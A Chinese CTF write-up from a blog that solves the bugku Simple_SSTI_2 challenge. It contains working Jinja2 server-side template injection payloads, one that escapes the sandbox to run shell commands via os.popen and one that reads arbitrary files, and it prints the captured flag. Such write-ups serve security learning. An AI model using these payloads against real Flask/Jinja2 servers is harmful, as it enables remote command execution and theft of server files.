首页 > 其他分享 > CTFer成长记录——CTF之Web专题·bugku-Simple_SSTI_2

CTFer成长记录——CTF之Web专题·bugku-Simple_SSTI_2

时间:2023-07-24 13:11:59浏览次数:43  
标签:__ Web .__ Simple flag __.__ CTF jinja2 模板

一、题目链接

https://ctf.bugku.com/challenges/detail/id/203.html

二、解法步骤

  题目是SSTI,也就是服务器模板注入,页面提示我们需要传递一个flag参数。

  

  由于是模板,可以传flag={{config}}看看:

  

  显示

  说明这里存在命令执行的漏洞,查询资料发现此处可以执行jinja2模板的语法。参考资料:https://blog.csdn.net/weixin_30802953/article/details/113013342

  在jinja2中是可以直接访问python的一些对象及其方法的。要想利用jinja2语法执行Python调用系统命令,就需要用到python沙盒逃逸:绕过模拟的Python终端,最终实现命令执行。

  共有两条代码:

命令执行:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('这里输入命令').read()") }}{% endif %}{% endfor %}

文件操作:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('在这里输入文件名', 'r').read() }}{% endif %}{% endfor %}

  本题我们先进行命令执行,看下目录下有没有文件:

?flag={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}

发现了flag文件,然后使用文件操作打开。

?flag={% for c in [].class.base.subclasses() %}{% if c.name==‘catch_warnings’ %}{{ c.init.globals[‘builtins’].open(‘flag’, ‘r’).read() }}{% endif %}{% endfor %}

   拿下flag:flag{9e1f1ab0c403a2020a9f8ec65688fc99}

三、总结

  本题考了SSTI与jinja2模板引擎。SSTI(Server-Side Template Injection)是一种安全漏洞,可以利用模板引擎解析器来执行恶意代码。在Flask框架中,如果使用了Jinja2模板引擎,并且没有正确地过滤用户输入的数据,攻击者可以通过构造特殊的payload,在模板渲染过程中执行任意代码,从而实现代码注入和服务器接管等攻击。jinja2的两条执行代码可以积累下来,下次碰到了直接用。

标签:__,Web,.__,Simple,flag,__.__,CTF,jinja2,模板
From: https://www.cnblogs.com/miraclewolf/p/17576940.html

相关文章

  • 打造原生 WebGL 2D 引擎:一场创意与技术的融合
    打造原生WebGL2D引擎:一场创意与技术的融合1.引言在当今数字化时代,网页的功能越来越丰富,已经远远超越了传统的文本和图片呈现。我们生活在一个充满交互性和视觉魅力的网络世界。每天都会遇到许多令人惊叹的网页效果和动画。作为一个Web3D图形的开发,希望可以通过网页来实现更多......
  • Dubbo Triple 协议重磅升级:支持通过 HTTP 连通 Web 与后端微服务
    作者:刘军全新升级的Triple协议在微服务协议选型方面我们看到越来越多的应用从Dubbo2TCP二进制协议迁移到Dubbo3Triple协议(兼容gRPC),以充分利用Triple的高效、全双工、Streaming流式通信模型等能力;Triple+HTTP/2的组合很好的解决了后端服务穿透性等问题,但在阿里及......
  • 【NSSCTF逆向】【2023题目】《Bytecode》
    题目Bytecode解法是蛮久没见的字节码题目,还有点记忆这里一大长串应该是一串数组,跟存储后变形的flag有关上面的啥打印错误什么的应该是在跑的时候告诉我们有问题,也不用管红框里面可以看到是一个循环从46到152可以继续看到红框里面的东西,应该就是主要的变形过程了。写w......
  • [SWPUCTF 2021 新生赛]PseudoProtocols
    [SWPUCTF2021新生赛]PseudoProtocols题目来源:nssctf题目类型:web涉及考点:PHP伪协议1.先看题目,给了一个提示要我们找hint.php,我们直接修改url:http://node2.anna.nssctf.cn:28069/hint.php发现页面空白无回显,这时候想到了使用PHP伪协议让其base64编码输出:http://node2.ann......
  • WEB漏洞-查询方式及报错注入
    WEB漏洞-查询方式及报错注入目录WEB漏洞-查询方式及报错注入1.查询方式1.1select查询数据1.2insert插入数据1.3delete删除数据1.4update更新数据1.5orderby排序数据2.SQL注入报错盲注2.1基于布尔的SQL盲注-逻辑判断2.如何进行布尔盲注?3.靶场案例演示:总结归纳:2.2基......
  • WEB漏洞—RCE代码及命令漏洞执行
    RCE:远程命令/代码执行(remotecommand/codeexecute)在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理......
  • Python使用Flask开发Web服务 - 裴 - flask使用request对象获取请求数据
     第一种,URL路径参数,之前已经介绍过第二种,查询参数  第三种,Form表单参数    第四中,JSON数据   第五种,requests.cookies获取cookie信息   第六种,requests.headers获取header信息  ......
  • .net webapi导出excel
    publicIActionResultdownloadWeeklyTemplate(){stringbasePath=AppDomain.CurrentDomain.BaseDirectory;stringpath=basePath+"/excel.xlsx";varf=newFileInfo(path);if(!f.Exists......
  • Python使用Flask开发Web服务 - 裴 - flask的路由route的知识点演示
     默认是支持GET:  修改后,只支持post: 也可以getpost都支持 ......
  • 基于Java Web的物流快递管理系统的设计与实现-计算机毕业设计源码+LW文档
    选题的背景、意义及研究现状:研究背景随着中国物流业的高速发展,物流管理的重要性不言而喻。而物流管理的效率更是各个物流企业最看重的地方。近些年来,很多公司和企业都实现了自动化办公及信息管理,工作人员只需要在电脑前动动手指,就可完成繁琐的管理操作,极大程度上减轻了工作人员的......